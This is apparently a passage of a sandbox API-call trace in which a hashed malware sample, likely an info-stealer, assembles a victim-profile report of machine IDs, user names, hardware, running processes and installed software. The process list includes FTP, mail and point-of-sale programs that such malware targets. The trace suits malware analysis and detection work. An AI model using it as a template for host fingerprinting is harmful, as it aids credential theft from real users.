[16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 ["
[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [", lpString2="11.0.61030.0" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0"
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- 